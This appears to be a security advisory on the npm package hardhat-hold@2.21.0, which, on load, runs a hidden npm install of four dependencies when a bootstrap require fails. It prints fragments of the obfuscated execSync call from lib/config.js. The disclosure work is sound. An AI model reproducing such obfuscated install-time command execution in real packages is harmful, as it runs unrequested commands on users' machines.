GCVE-110-OSM-2026-11401

Executes a fixed npm install command for four dependencies during package loading if loading one of the bootstrap dependencies throws. This top-level package behavior imposes unrequested dependency installation, causing unauthorized command execution. behavior-0001-evidence-0001 ## What it does When the package's main entry is loaded, package logic reaches a top-level synchronous process-execution call if loading one of the bootstrap dependencies throws. It invokes a fixed npm install command for four dependencies; because package initialization imposes this installation rather than the consumer requesting it, the command execution is unauthorized. ## Execution path ### Code evidence: Process execution - **Trigger:** main entry — The package main entry reaches this evidence. - **Conditions:** The package-manager fallback runs only if loading one of the bootstrap dependencies throws. #### Trigger-to-sink path 1. **Invoke process:** Runs npm install for the fixed dependency set: sql.js, socket.io-client, form-data, axios. #### Code locations The locations below are exact bytes from the published package that support the resolved operation above. **package/index.js** — line 6, UTF-8 byte column 16 to line 6, UTF-8 byte column 39 (end-exclusive) ``` require('./lib/config') ``` **package/lib/config.js** — line 1, UTF-8 byte column 1607864 to line 1, UTF-8 byte column 1607873 (end-exclusive) ``` catch(z){ ``` **package/lib/config.js** — line 1, UTF-8 byte column 1607877 to line 1, UTF-8 byte column 1609095 (end-exclusive) Exact excerpt start: ``` execSync(ml(0x346b,0x749,0x2f81,0x5848,0x34c2)+mI(0x26df,0x553a,0x5caa,0x7a7a,0x5985)+mr(-0x71e,-0xb3d,0x1421,-0x199f,"\x23\x45\x4c\x63")+mQ(0x2e6d,0x3426,0x41f5,0x6042,0x1f59)+mX(0x209f,0x1c69,0x1648,0x1925,"\x62\x6f\x42\x37")+mw(0x404,0xf ``` _Middle omitted from this public display: 618 exact UTF-8 bytes._ Exact excerpt end: ``` 5591,0x7074,0x511e)+ml(0x503e,0x3def,0x2d6d,0x8aa,0xb92)+"\x6e\x74",{"\x73\x74\x64\x69\x6f":[mA(0x4489,"\x67\x4b\x51\x31",0x1783,0x5b29,0x2e16),mw(0x4149,0x3bc8,0x369e,0x502e,"\x43\x53\x4e\x53"),ml(-0xf42,0x4cb,-0x9e,0x2698,0xbec)],"\x6d\x61\x78\x42\x75\x66\x66\x65\x72":(0x1531+-0xdfb*-0x1+-0x1e*0x10a)*(0x16ca+0xa24*0x1+-0x1cee)*(-0x2112+0xd56*-0x1+0x2e72)}) ``` ## Impact and scope - The selected source-to-sink evidence does not establish a complete credential- or file-data-to-network exfiltration path. - Findings come from static analysis of `hardhat-hold@2.21.0`; the package was not executed.